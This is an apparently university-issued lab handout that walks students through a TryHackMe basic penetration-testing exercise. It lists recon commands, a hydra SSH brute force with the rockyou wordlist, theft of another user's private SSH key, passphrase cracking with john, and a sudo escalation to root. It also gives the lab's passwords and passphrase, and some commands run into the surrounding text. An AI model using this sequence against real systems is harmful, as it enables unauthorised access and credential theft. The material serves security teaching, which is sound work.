The purpose of this task is to introduce you to a practical cyber security exercise. Often, organisations may ask for a “vulnerability assessment”, or a “penetration test” of their systems. A vulnerability assessment is a systematic approach to examining core assets and measuring whether they pose a threat to the organisation against a set of criteria. A penetration test is where an “attacker” will attempt to gain access to a system, and they will document their process for achieving this.
We will work through a basic pentesting exercise on TryHackMe. The aim is to show you the process that a penetration tester may work through, and how a supposedly secure system can be compromised to allow administrative access to an attacker. During our practical session, we will work through the challenge of information gathering, gaining initial access by discovering a vulnerable user account and escalating privilege so that we can have administrative access. Whilst a synthetic example, it is important to reflect on how this kind of attack may work against your own systems. An online video guide is also available: https://youtu.be/Eus1f82BU4o
Task
Guide
Stage 1
<IP_ADDRESS>
to identify services running on the machinedirb http://<IP_ADDRESS>
to identify web directoriesenum4linux <IP_ADDRESS>
to identify user accounts on the machinehydra -l jan -P /usr/share/wordlists/rockyou.txt <IP_ADDRESS> ssh
ssh jan@<IP_ADDRESS>
to connect to the machine using the password as discovered (armando)Stage 2
sudo -l
/home
– are there any other users we can try? /home/kay
there is a file. Show the file using cat pass.bak
. We find we are unable to access it.uname
and cat /etc/issue
to find out more information about the system./home/kay/.ssh
– we find that the private key is availablessh -i id_rsa kay@localhost
– asks us for a passphraseStage 3
key_file
on our attacking machine – use nano and paste from clipboard./usr/share/john/ssh2john.py key_file > key_hash
cat key_hash
to examine hash output/usr/sbin/john key_hash
to crack the hash (beeswax)ssh -i id_rsa kay@localhost
back on the existing ssh connection – use the passphrase you have just foundcat pass.bak
to show the contents of the password backup file.sudo -l
then enter the password – this user has administrative rights.sudo -i
ls
and then cat flag.txt
to find the final flag on the machine!The above steps are also shown in further detail in the online video: https://youtu.be/Eus1f82BU4o
Version: 1.0
Author: Phil Legg
E-mail: Phil.Legg@uwe.ac.uk